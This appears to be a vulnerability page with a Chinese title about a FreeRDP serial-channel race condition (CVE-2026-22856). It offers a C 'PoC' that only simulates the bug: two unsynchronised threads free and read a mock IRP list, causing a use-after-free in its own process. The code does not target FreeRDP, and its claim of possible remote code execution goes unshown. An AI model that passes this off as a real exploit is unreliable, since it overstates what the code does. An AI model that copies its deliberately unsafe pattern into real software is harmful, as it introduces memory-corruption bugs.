FreeRDP串行通道竞态条件导致堆使用后释放漏洞 (CVE-2026-22856)

// CVE-2026-22856 PoC - FreeRDP Serial Channel Race Condition UAF // This PoC demonstrates triggering the race condition in FreeRDP's serial channel // Compile: gcc -lpthread -o cve202622856_poc cve202622856_poc.c #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> // Simulated IRP structure matching FreeRDP's serial channel typedef struct { void* data; int id; int in_use; } IRP_Entry; // Simulated serial channel IrpThreads list typedef struct { IRP_Entry** entries; int count; int capacity; pthread_mutex_t lock; } IrpThreads_List; // Global list simulating serial->IrpThreads IrpThreads_List g_irps = {NULL, 0, 10, PTHREAD_MUTEX_INITIALIZER}; // Thread 1: Reader - continuously reads from IrpThreads void* reader_thread(void* arg) { while(1) { // Simulate reading IRP without proper synchronization for (int i = 0; i < g_irps.count; i++) { IRP_Entry* entry = g_irps.entries[i]; if (entry != NULL && entry->in_use) { // Use-after-free: accessing potentially freed memory printf("[READER] Accessing IRP %d, data: %p\n", entry->id, entry->data); // This simulates the vulnerable access pattern volatile char c = *((char*)entry->data); (void)c; } } usleep(100); // Small delay to increase race condition likelihood } return NULL; } // Thread 2: Remover - removes entries from IrpThreads void* remover_thread(void* arg) { while(1) { // Simulate removing IRP entries (vulnerable operation) for (int i = g_irps.count - 1; i >= 0; i--) { IRP_Entry* entry = g_irps.entries[i]; if (entry != NULL && entry->id % 2 == 0) { printf("[REMOVER] Removing IRP %d\n", entry->id); // Free the entry without proper synchronization with reader free(entry->data); free(entry); g_irps.entries[i] = NULL; // Entry is freed while reader might still access it } } usleep(150); // Offset timing to trigger race } return NULL; } // Initialize simulated IRP list void init_irps() { g_irps.entries = malloc(sizeof(IRP_Entry*) * g_irps.capacity); for (int i = 0; i < g_irps.capacity; i++) { g_irps.entries[i] = malloc(sizeof(IRP_Entry)); g_irps.entries[i]->id = i; g_irps.entries[i]->data = malloc(64); g_irps.entries[i]->in_use = 1; sprintf(g_irps.entries[i]->data, "IRP_DATA_%d", i); } g_irps.count = g_irps.capacity; } int main() { printf("=== CVE-2026-22856 FreeRDP Serial Channel UAF PoC ===\n"); printf("This PoC simulates the race condition in FreeRDP's serial channel\n"); printf("IRP thread tracking. The race occurs when one thread removes\n"); printf("entries from serial->IrpThreads while another reads them.\n\n"); init_irps(); pthread_t reader, remover; // Create reader thread (simulates IRP processing) pthread_create(&reader, NULL, reader_thread, NULL); // Create remover thread (simulates IRP completion/cancellation) pthread_create(&remover, NULL, remover_thread, NULL); printf("Running race condition simulation for 10 seconds...\n"); sleep(10); printf("\nPoC demonstration complete.\n"); printf("In real attack scenario, this race condition leads to:\n"); printf("1. Heap use-after-free vulnerability\n"); printf("2. Potential memory corruption\n"); printf("3. Possible remote code execution\n"); return 0; }